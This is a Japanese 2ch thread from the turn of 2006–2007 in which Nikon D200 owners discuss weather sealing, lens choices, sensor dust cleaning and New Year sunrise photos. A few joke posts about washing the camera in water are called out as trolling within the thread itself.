その面白さを言いたくて水1Lとの選択の例えを使ったんだけどね。

319 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 16:46:15 ID:EJO32vX40

ところでさ、あんま話題に上がらない「防滴」の話題なんだけど、D200っていったいどの程度までなら頑張れるんだろうね？
カタログなんかで見れるシーリング箇所の写真見ても、ファインダー部には施されてるけど、雨降ってきて一番濡れそうなアクセサリーシューやストロボ部なんかには施されてないよね？.
それとレンズ。
どこ見ても防滴の事なんか書いてない。
それともニコンのレンズって防滴が施されているレンズって無いの？

当方は、D200に18-70G付けてるんだけど、この前、寒いとこから室内に入って数枚撮っていたらファインダー内が曇ってきた。
その時はブロアー吹いて中の湿気抜いたんだけど、もしそのままほっといたらシーリングのせいで湿気を溜め込むって事になるのかな？

320 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 17:15:40 ID:YXCHPQ6z0

防滴っても中は真空じゃないんだから湿気だって内包してるわな。
一度結露でレンズ内まで真っ白になったけど今まで故障が無いくらいの耐水性はあるようだ。

321 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 20:20:53 ID:eT/kDyfv0

>>319
70-200なんかは、防滴仕様ってなんかに書いてあった。
大口径レンズは、大体防滴なんじゃねの？感だけど。

322 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 21:22:27 ID:wdqEX5340

D200を買ってから８ヶ月も経って、フォーカスエイドなんて便利な機能があることを今頃知った。orz
Ai 50mm 1.2Sが生きるよ。

323 ：名無CCDさん＠画素いっぱい：2006/12/30(土) 22:28:37 ID:lcTaf+xA0

>>322
ええ？W ああ、MF銀塩から直にD200に移行したとかですか？

しかしなんですな縞だマツゲだと騒いではや一年。
バタバタしてて保証のある内に点検出せなかった。
（発売2週目get、1月末に縞取り入院）

324 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 00:33:32 ID:sxk6zdW60

>>312
そういうのは縦走ではあまり見たことがない。
中判以上が珍しくないのは尾瀬とか木曽駒とか立山辺とかいう感じじゃない？
中判といってもスプリングやレンジなら割と軽いけど。

325 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 00:35:58 ID:sxk6zdW60

>>321
限度は知らんけど、その取り合わせでベタベタ吹雪のときに撮って特に問題なし。
ただし、保護フィルターがすぐに水滴だらけになって拭くのに酷い手間がかかるので
面倒だから何度もやる気はなかったりする。

326 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 01:21:44 ID:sjhfeier0

おまえら
あけましておめでとうごいざいます

327 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 01:39:13 ID:Q/2VhRE60

フライングだ。

328 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 03:22:37 ID:MofoG9Tz0

>>326
遅いよ。
364日前に言えよ。

329 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 03:30:05 ID:MzL65eJQ0

>>326
２０年くらい前の、グッドモーニングという番組を思い出した。

午前１時くらいの開始なのに、日本で一番早いモーニングショーとか
言ってなた。オナッターズもここ出身だった。、

330 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 03:58:28 ID:73XJkvMb0

＞雨降ってきて一番濡れそうなアクセサリーシューやストロボ部なんかには施されてないよね？.

以前SSに電話してこの箇所の防滴について聞いてみたのだが
残念ながらお答えできません、だってさ。

331 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 04:04:28 ID:73XJkvMb0

SSでなくてSCでした。

332 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 04:12:30 ID:MofoG9Tz0

>>329
「オナッターズ」と「ぶっこきシスターズ」のどちらが良い？とプロデューサーに聞かれたんだって。
で、泣く泣くオナッターズに決めたそうだ。と浜田の嫁がもうしておりました。

333 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 11:03:42 ID:seLVtPdS0

30Dの乾いたシャッター感が好きなんだけどね俺

334 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 11:06:52 ID:/yQhZB5l0

>>322
私も遅ればせながらAi50mmF1.2SをD200につけて遊んでみました。
結構、使えるというかFM3Aの出番がまた減りそうです。

335 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 20:30:31 ID:mnPUNmlS0

今年は本当にD200にお世話になりました。
そして、このスレの皆さんにもお世話になりました。
去年の今頃は大荒れでしたけどね・・・

今年の撮り収めは帰省の途中で、最近入手した400mm超望遠ズームのテストを兼ねて、白鳥になりました。
モバイルPCでNCが動かないので、NVで適当に現像して今ひとつの画像ですが、今年の締めくくりにうｐします。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061231201948.jpg

安直に使える400mmが欲しくて入手した望遠ズームですが、やはりサンニッパなどには全くかなわないですね・・・
まあ、当然といえば当然ですが・・・
昨シーズン同じ場所でMFサンニッパで撮った写真がサーバーに有ったので、参考まで
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060121204235.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060121204310.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060121204340.jpg

それでは皆さん良いお年を。

336 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 21:55:05 ID:oSS0lBNJ0

>>330
考えてみれば、どこのでもそうだけど、ちょっと濡れたくらいで一々水が浸みてショートしてぶっ壊れるようなタコな設計にはしないような気もする。

337 ：名無CCDさん＠画素いっぱい：2006/12/31(日) 22:32:18 ID:UPLPr6hF0

ていうか撮影しててちょっと雨が降ってきたくらいならどんなカメラでも
そのまま撮影しないか？
んなカメラなんかよりこの１ショット撮れるかどうかの方が大事。

338 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 00:59:47 ID:9Qyh7Osi0

>>336
その通りだね。
一度雨の鎌倉で撮影してペンタ部にかなり雨滴がかかった事があって
吸い込まれるようにストロボのヒンジの奥に水が入ってしまったが
その後も問題なく動いている。
まあ、どっかで防水してるんだろうけど。

339 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 01:02:19 ID:cUu6lqaK0

明けましておめでとうございます。
今年も宜しくお願いいたします。

ところで、こっちは初日の出が拝めそうなのだが、
撮りに行こうか、ちょっと迷っている。

340 ：【610円】【大凶】：2007/01/01(月) 01:36:12 ID:lLWZiKhB0

341 ：【1712円】【大吉】：2007/01/01(月) 07:24:09 ID:qFKl9Znt0

あけおめ！　年末にヨドで買いました

342 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 08:45:41 ID:cUu6lqaK0

>>341
購入オメ。

と言う訳で、やっぱり初日の出撮りに行って来たので、初貼り。
まあ、写真にしてしまえば、構図もへったくれも無い、単なる太陽では有りますが・・・
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20070101084058.jpg
シグマ135-400 400mm F9 1/200

343 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 08:47:00 ID:XONsLUxQ0

初日の出だから、シンプルでいいと思う。

344 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 09:06:44 ID:Vf22v+Ll0

あけましておめでとうございます。
質問なんですが　D200用標準ズーム、DX18-70よりぐん、とシャープな
標準ズームってありますかね。　RAWで撮ると悪くはないんだけど、
もっと解像度がよいものがあれば　使ってみたい。

345 ：【大凶】【177円】：2007/01/01(月) 09:17:01 ID:eRub8YW50

>>344
つ http://www.nikon-image.com/jpn/products/lens/dx/zoom/af-s_dx_ed_17-55mmf28g_if.htm

346 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 10:51:59 ID:Vf22v+Ll0

>>345
うわ　これは値段がすごいじゃないですか。　これはいかん。
しかも重量がD200よりも重いぐらいで、ここに「軽量、コンパクト」って
書いてあるけど　ユーザーは字が読めないとなめてるんですかね。
これはちょっと　普通の感覚では「標準ズーム」ではないと思うんだけど。
標準的に、日常的に使うズームということで。

347 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 10:55:27 ID:szUUyZPg0

このレンズはプロご用達
防塵防滴はあえてうたってないが　Ｄ200と共に戦場に向かう大砲だよｗ
Ｄ200やＤ2系と合わせるにはちょうど良い筈なんだがｗｗ

348 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 10:55:30 ID:1pZCOvB50

> 標準ズーム

画角が標準域をカバーしたズームのこと、だよ

349 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 11:22:57 ID:Vf22v+Ll0

じゃあ　日常ズーム（戦場とかでなく　日常生活にフィットする）として
DX18-70よりも解像度がよさそうなものはないんでしょうか。
もしなければ　DX18-70を満足して使い続けますが。　いいのがあれば
試してみたい。　

350 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 11:29:17 ID:XONsLUxQ0

解像度って何よ
まずはそこからだ

それが、個人個人の主観的なものであるならば、
その質問に意味は無い。

351 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 11:32:29 ID:szUUyZPg0

レンズメーカーのＦ2.8通しレンズ
例えば　シグマの18-50Ｆ2.8ＥＸ　ＤＣ　何かどお？
淀では　5万３千の10％だね

352 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 12:29:39 ID:Vf22v+Ll0

>>350
よくはわからないんですが（文系なんで）　自分で撮った風景写真と
ネットのころがってる画像をみると　同じD200なのに明らかに遠くの
木の葉っぱの実体感というか、それが違うものがある。　RAW現像すると
ずいぶんよくなるのはわかったけど　それでもまだ物足りない。
それで　レンズの差かと。　
シゴマの18-50F2.8が　はっきりと差があるなら　使ってみたい。

353 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 12:39:56 ID:c1x5so1c0

D2Xを買おうかと思ったけど、レンズもボディにふさわしい物がいいなと思い、
D200と17-55をセットで買った。

D200と質感が一緒だし、普通に付けっぱなし標準レンズになっている。
慣れれば大きさ、重さも気にならなくて、むしろ写欲が湧いてくる。

A3ノビにプリントしたら、当然だけど以前使っていたD70+18-70とは解像度は全然ちがう。

354 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 13:18:53 ID:G0BqFvB10

〉349
DX18-55/f3.5-5.6

355 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 13:58:21 ID:cUu6lqaK0

>>349
シグマの17-70も、かなり解像度が高いみたいだよ。
自分も一度使ってみたいと思っているけど、まだ使った事は無いですが・・・

356 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 17:07:49 ID:XeD3y7ZR0

>>355
シグマの 17-70 は、解像度の高さと、色乗りの良さが
両立していて、しかも簡易マクロが超便利。
VR18-200 から乗り換えた。

シグマスレに、解像度がよく分かる作例があがってるよ。

357 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 17:35:05 ID:nMdhsAo60

>>336
タコな設計をするメーカーも有る訳で・・・
http://members.at.infoseek.co.jp/v1v1v1/1v-asakame.htm

358 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 17:49:53 ID:XeD3y7ZR0

ここ数日、キヤノンのネガティブキャンペーンをニコンスレに
貼まくっている奴がいるが、逆にニコンの印象が悪くなるから、
止めてくれ。

359 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 17:55:48 ID:KlJ7K4ym0

>>356
そうそう、17-70はマクロも便利ですね。

連貼りですみませんが、初日の出バリエーションです。

初日の出15分前の朝焼け
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20070101174425.jpg
AF28-105 56mm F10 1/8
ちなみにDX18-70も持ってますが、広角使わない時はもっぱらこれが標準ズームです。
ディスコンで中古しか無いけど、これも安くてシャープで便利なレンズの一つだと思います。>>349

きわめてありがちな構図ですが、初日の出でこう言う構図で撮れたのはラッキーです。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20070101174507.jpg
シグマ135-400 230mm F9 1/200

360 ：【大吉】　【389円】　：2007/01/01(月) 20:30:03 ID:B1leizfI0

D200で初日の出撮りに行ってきたが
同じ場所にゴミの陰が…
新年早々、新宿SSに逝く用事ができてしまったorz

361 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 20:46:04 ID:QiY2FqaU0

初日の出か、
初夢の写真なんかあるのかな？

362 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 20:47:06 ID:QiY2FqaU0

初夢といえば、
D220かな？？

363 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 22:07:06 ID:oigs2PUE0

D200より30Dのほうが良いカメラなんですよね？

364 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 22:11:31 ID:xhWEEzCh0

>>363
ん？正月休みはもう終りかい？

365 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 22:14:18 ID:sfTyyPbj0

>>363
あぁ雨が降ってくると心配になる良いカメラだよw

366 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 22:55:19 ID:B1leizfI0

>>360
自己レスですが、VR18-200の後玉見たら大きな埃が２個付いていました。
こちらが原因かもしれません…

367 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 23:03:56 ID:xhWEEzCh0

>>366
普通にローパスフィルターのゴミじゃないの？
俺のVR18-200にも買った時から後玉にゴミとも気泡とも言える物が見えてるけど
全く写りには影響無いけどね。

レンズ替えてF20とか絞り込んで白い紙写してみたら

368 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 23:25:53 ID:clqfxtr+0

スーパーのおせち。まあだいたい我が家トラディショナルと品目おなじかな。
チャーシューとなますだけ自家製。
http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20070101232023.jpg

東京雑煮。角餅の焼餅、鶏肉、青菜、すまし汁。
だいぶへべれけなんでVRも効かず(;´Д｀)
http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20070101232045.jpg

369 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 23:27:10 ID:clqfxtr+0

>>368
うぉぉっ誤爆だorz

370 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 23:27:30 ID:xhWEEzCh0

>>368
>だいぶへべれけなんでVRも効かず(;´Д｀)
ﾓｴ(･∀･)ｗ

371 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 23:46:15 ID:oigs2PUE0

D200って水中でも使えるんでしょうか？

372 ：名無CCDさん＠画素いっぱい：2007/01/01(月) 23:50:21 ID:ObOzQRr60

>>371
勝手に使えよ

373 ：366：2007/01/01(月) 23:57:02 ID:B1leizfI0

>>367
白紙撮影して場所を特定の上
ミラーアップしてローパスを見てみました。
確かに埃が２個見つかりました。
素人がいじると怖いので早めにSSに持っていきます…

374 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 00:00:03 ID:daWtVXyg0

>>373
目で見えるくらい大きかったら、ブロアで簡単に取れると思うけど・・・
ひょっとして、ブロア持ってなかったりする？

375 ：366：2007/01/02(火) 00:12:17 ID:22gsNw5c0

>>374
あわてて近所のキタムラにブロア買いに行ったのですが
そこの店員にローパスに吹き付けると
かえってブロア内のゴミが付く可能性があると釘を刺されました。
とりあえずティッシュでこよりをを作って払い落としましたが
ミラーボックス内に埃が残っているので
一度、SSで清掃してもらおうかと思います。

376 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 00:15:25 ID:c6hROZp80

>>375
おいおい、ブロアよりティッシュの方が、何倍も良く無いのに・・・
まあ、でも、一応取れたんなら良いじゃない？

377 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 00:21:17 ID:aZpt9JbQ0

>>375
目に見えていないだけで、細かい紙の繊維がいっぱいローパスに付いていそう。

378 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 00:23:20 ID:8pEoJ4fe0

無いとは思うが、下手したらローパスが傷ついてるかもな

379 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 00:34:51 ID:c6hROZp80

まあでも、自分もティッシュでゴミを取った事は有るよ。
撮影に行った先で撮影後に背面液晶で確認しても判る大きなゴミが・・・
あいにくブロアをバッグに入れるの忘れてて・・・もう、どうでもなれって感じでティッシュで取りました。

まあ、こういう時には、プルプルが付いていた方が良いかな？って気もするね。

380 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 00:53:33 ID:QaQKuOjr0

>>375
ニコンのデジ一眼のCCDの清掃は毎回大金がかかるけど、キヤノンは無料なんだよな。
本当にニコンって守銭奴だよなぁ。ニコンファンとして歯がゆいよ。

381 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 00:58:32 ID:rnVws8Lk0

大金かよ。ケチ臭い値上げしやがってとは思うが。

382 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 00:59:21 ID:gs7tXJJD0

>>379
つﾍﾟﾝﾀのぺたぺた棒

これ便利だじょ。

383 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 01:00:43 ID:c6hROZp80

>>382
もちろん買ったよん。
あ、でもカメラバッグに入れてないや。入れておかなきゃ。

384 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 08:35:57 ID:2FoT4JeC0

ちょっとやそっとじゃローパスフィルターはキズ付かんようだよ。
LPF掃除とかでググるといろんな体験談のブログ見る事出来るが、
乾いたシルボン紙をピンセットでつまんで拭いただの強者が多かった。
キズ付いたって話しは無かったね。価格のD2X版でキズ付けたってのを見たことあるが
汚れが筋状に残っただけじゃないのか？と思ってる。

>>373
http://dc.watch.impress.co.jp/cda/other/2005/05/31/1632.html
http://www.geocities.jp/syori59/lpf.html
http://www.dd-pro.jp/product.html
自分でメンテするのもいいもんだよ。

俺は自分で掃除してる。
湿式、DDpro、ペンタのペタペタの3種類揃えてみたが湿式が一番確実にキレイになるね。

385 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 13:08:41 ID:tVAdR7bj0

>>380
でもキヤノンは欠陥製品が有償修理だよね・・・
数年後に欠陥を認めて返金する場合も“極稀に”有るらしいけど

386 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 13:22:53 ID:QaQKuOjr0

>>385
ここはニコンの板だろ？キヤノンの話なんてしないでもいいよ。

387 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 13:25:15 ID:qI09/qMX0

覇外道

388 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 14:31:07 ID:0ocTVtrA0

7Dはフルサイズらしい
てかもう知ってるよな？

389 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 14:32:29 ID:FOr+ptPu0

D3Xはフルサイズらしい
てかもう知ってるよな？

390 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 14:47:41 ID:2THRVdNe0

ん？キヤノンからもニコンからもフルサイズ新機種出るのかな？

391 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 14:51:13 ID:/0ZL/21F0

新機種出るよ。
キチガイの脳内で。

392 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 14:52:36 ID:2THRVdNe0

それって毎度のことではｗ

393 ：名無CCDさん＠画素いっぱい：2007/01/02(火) 14:55:28 ID:KEk6Tz450

今のところ日本の憲法ではどんな空想や妄想をしても犯罪にはならないからね。
ただその脳内で想像した事を現実の掲示板に書いてしまうのはそろそろ取り締まられる模様だ。

394 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 00:36:02 ID:yMAVA/Re0

>>393が取締対象ってことでいい？

395 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 00:37:28 ID:ppXMn2+f0

【ＥＦレンズはやっぱり逆光性能がよかったのでつね！】
ＩＳ補正レンズ付きなんか逆光性能がブッチギリなことに驚愕　ガクブル！
http://digitalcamera.impress.co.jp/07_01/auth/toku1/index.htm

EF-S17-55mm F2.8 IS USM
http://digitalcamera.impress.co.jp/07_01/auth/toku1/70106701b.jpg

EF-S18-55mm F3.5-5.6 II USM
http://digitalcamera.impress.co.jp/07_01/auth/toku1/70106701d.jpg

SP AF 17-50mm F/2.8 XR Di II LD Aspherical［IF］
http://digitalcamera.impress.co.jp/07_01/auth/toku1/70106701a.jpg

18-50mm F2.8 EX DC MACRO
http://digitalcamera.impress.co.jp/07_01/auth/toku1/70106701c.jpg

【IS補正レンズ付の驚愕の逆光性能にガクブル！】
http://digitalcamera.impress.co.jp/05_09/auth/toku1/canon/index.htm

EF70-200mm F2.8L IS USM 200mmf2.8
http://digitalcamera.impress.co.jp/05_09/auth/toku1/canon/ef70-200_gf_f56.jpg

EF70-200mm F2.8L IS USM 150mmf2.8
http://digitalcamera.impress.co.jp/05_09/auth/toku1/canon/ef70-200_gf_f28.jpg

シグマ APO 70-200mm F2.8 EX DG HSM 200mmf2.8
http://digitalcamera.impress.co.jp/05_09/auth/toku1/canon/cs70-200_gf_f56.jpg

シグマ APO 70-200mm F2.8 EX DG HSM 150mmf2.8
http://digitalcamera.impress.co.jp/05_09/auth/toku1/canon/cs70-200_gf_f28.jpg

396 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 01:01:28 ID:yMAVA/Re0

7Dはフルサイズらしい
てかもう知ってるよな？

397 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 01:20:25 ID:UIrrPJ7P0

>>396
まあ、そうだろうけど、何時出るんだ？
つうか、7Dなら、どっちかと言うとD80の対抗機種じゃないのかな？

でも、7Dが15万円くらいなら、一時的にキヤノンに浮気しちゃうかも。

398 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 10:58:29 ID:6rBZJIzyO

購入10日目にしてﾌｧｲﾝﾀﾞｰ内の塵とか、ﾛｰﾊﾟｽの塵が気になってきた。
D70の時はあまり気にしなかったけど、結構汚れるものですね。
ﾌﾙｻｲｽﾞもいいけど、sの次はｺﾞﾐ取り機能希望！

399 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 13:31:00 ID:yMAVA/Re0

おまえら知らんだどうけど水洗いしないのか？
塵はとれるよ

400 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 13:31:47 ID:vL9Tq+Qf0

たまに水洗いしてるよ。

401 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 14:53:16 ID:k27IMwgH0

ローパスの埃を水洗いしたらさっぱりきれいになった！

402 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 15:31:44 ID:VgvY7xv80

すみません、水洗いの手順を教えてください。

403 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 15:42:24 ID:6rBZJIzyO

釣りだよ

404 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 16:14:06 ID:ZXh+ZgBS0

俺は何時も
http://www.sanyo.co.jp/koho/hypertext4/0602news-j/0202-1.html
これで洗ってます。

405 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 20:51:09 ID:CRpR9PtR0

http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20070103204850.jpg
http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20070103204926.jpg
サッカーの写真でも上げてみる。駒沢競技場にて

406 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 22:10:42 ID:yMAVA/Re0

おまえら知らんだろうけど
水洗いのあとは陰干しするんだ

407 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 22:29:57 ID:kGvHTI8h0

おい、ネタもいい加減にしろやボケ！
本気にするヤツが出てくるだろうがハゲ！

水洗い程度で落ちるか？
本格的にやりたいなら分解して取り出して中性洗剤使用するしかないだろうが

408 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 22:38:49 ID:VnOmsEy90

ピンが決まってて良いですね。
レンズはサンヨンみたいだけど、どのサンヨンかな？

409 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 22:39:34 ID:VnOmsEy90

あ>>408は>>405宛てね。

410 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 23:15:15 ID:CRpR9PtR0

>>408
AF-S化する前のタイプです。
中古で4万～5万程度で買えてしまいます。
D200　こういう撮影にも対応しますし、本当に良いカメラです。

411 ：名無CCDさん＠画素いっぱい：2007/01/03(水) 23:27:23 ID:VnOmsEy90

>>410
旧型でも良い写りですね。
やっぱ旧型でも良いから欲しいなぁ、サンヨン。
機会が有れば縮小無しの絵もうｐしてもらえると嬉しいです。
サンヨンスレでも良いですし。

412 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 00:00:32 ID:CRpR9PtR0

http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20070103235546.jpg　
http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20070103235632.jpg
各々2.5M程度あり
オリジナルが、4096kb超えていたので、Vixで95％JPGで保存。
下は、405の下の写真の次のコマ。

以前は、この手のスポーツ物もRAWで撮っていたけど、
シルキーが良いソフト出しましたので、RAWは使わなくなりました。

413 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 00:38:59 ID:WTzS9hJT0

>>412
旧サンヨンでも十分シャープに写るのですね。
色収差が多少気になりますが、これくらいの色収差はNCで完全に消せそうですしね。

買うならAF-Sかなぁ・・・と思って今まで買えなかったけど、AFでも良い気がしてきました。

414 ：名無CCD@画素いっぱい：2007/01/04(木) 00:46:05 ID:4uWRg2PP0

質問。シグマ30F1.4と純正35F2をポートレートメイン用途で
選ぶとしたらどっちが良い？

415 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 00:51:05 ID:qBDzDQa/0

まぁ、言うまでも無く前者だね・・・。

416 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 01:22:25 ID:wlFddN+00

>>415
それは開放Ｆ値からの判断？
それとも描写そのものからの判断？

417 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 01:24:27 ID:qBDzDQa/0

描写そのものからの判断。

418 ：名無CCD@画素いっぱい：2007/01/04(木) 01:26:05 ID:4uWRg2PP0

>415

F4くらいでも周辺減光が気になるんだよね>ﾂｸﾞﾏ

419 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 01:29:35 ID:qBDzDQa/0

周辺減光なんか気にしてたらF1.4等の明るいレンズや
この先フルサイズなんかと一生縁が無さそうだ。

420 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 01:34:12 ID:pA9syr0I0

木村のＣＭ見て本物だとのことなのでＤ２００もしくはＤ８０を買おうと思って20万握り締めて淀橋に行って実機を触ってきたんだけど、なんかスッキリしないんだよね。
で違うメーカーの同じような価格帯のカメラ操作したんだがスッキリしたんだ、でニコンてこんなものなのかなとＤ４０とＤ５０も触ったんだ、これもスッキリしてる。
で高いけどＤ２Ｘの両機を触ったんだ、やっぱり本物だね。。。気に入った、予算大幅にオーバーだったけど不足分はカードで買ったんだ、でＤ２００もしくはＤ８０を却下したわけ
聞きたいか？聞きたい奴だけ聞け。ファインダーだ、ファインダーのフォーカスポイントが光ると光漏れのようにファインダーが光るんだこれには萎えた手を抜きすぎている、なんなんだこの真っ赤になる
ファインダーは、昼間ならいいが夜などは火事かと思うだろ・・・。切れば済むことだが付いてるものは使わなくてもしっかりして欲しいからこのカメラはダメカメラだ。皆様満足ですか？
写真はカメラじゃない？けどいつものぞくファインダーがあれでは写真を撮るたび目に付く嫌ですね。

421 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 01:41:01 ID:v1ZbLD++0

>不足分はカードで買ったんだ
ほお、そうですか。

422 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 02:17:26 ID:wlFddN+00

気にもしたことなかったが、言われたら今後気になるかもしれない。

423 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 05:25:23 ID:eG4ZPcpT0

>>407
なぁに
ちょっとhintを出しただけだ

＞ハゲって
な、な、何でわかるんだ？

424 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 07:41:30 ID:wU5J8gjc0

>>398
PENTAX で出している　通称：ぺたぺた棒は良く取れるよ。
俺はこれでD200 よりも酷く汚れたD100 を復活させられた。

425 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 07:45:46 ID:wU5J8gjc0

>>420
美子は俺のヒザに手を　まで読んだ。

25点。　以上。

426 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 15:56:27 ID:7cvr/boiO

不足分をカードで買った

という点がいちばん衝撃的。
そんなことできるんすか？

427 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 15:57:33 ID:fk1oPP/I0

4000ｴｿもするべたべた棒
ていうかあれって他に何だっけ、何かあったよなああいうの。
緩衝材みたいなので水洗いするとまた粘着力復活するゼりーみたいなやつ。

428 ：398：2007/01/04(木) 15:58:41 ID:ClK/EzHYO

>>424
どうもです。
今日は半日勤務だったので新宿SSでローパス清掃&ファインダースクリーン裏側の埃取りをしてもらいました。
まだ保証期間なのですが、例のクリーニングキットを使った清掃講座を勧められました(w
とりあえずは綺麗になったので、次はペタペタ棒を探してみます。ありがとうございました。

429 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 17:04:38 ID:Km92IleH0

>>426
普通にできる。別に特別なことでも何でもない。

430 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 20:28:05 ID:XOZizx530

>>428
ゴミ取り機能のついてない時代遅れカメラって大変だよねｗｗｗ

431 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 21:09:36 ID:+e7KdSvF0

>>427
低周波マッサージ器の粘着パッド？

432 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 21:53:54 ID:VJv0fmL70

>>430

そうだね、D200よりも高価な1D系や5Dも付いてないから
高級機種には必要ない機能かも知れないね!(^^)!

433 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 22:50:49 ID:St5jd33f0

質問

雪の五箇山撮影に行くんだけど
合掌造りの家に落下する雪を
うまく撮る方法教えて
後幕シンクロ使うとかさ

434 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:12:25 ID:fk1oPP/I0

D200ってまだ発売1年しか経っていないのに古さ感じるよな
てかほんとに古い
てかファームで無理やりいろんな機能付けたけど洗練されてないし不要なの大杉
てか一眼の操作性統一されてない
てかカメラとしてたいしたこたない

435 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:15:43 ID:5fJuL1SN0

ところで5Dってまだ売ってるの？

436 ：名無CCDさん＠画素いっぱい：2007/01/04(木) 23:16:35 ID:0Zd2Gg1P0

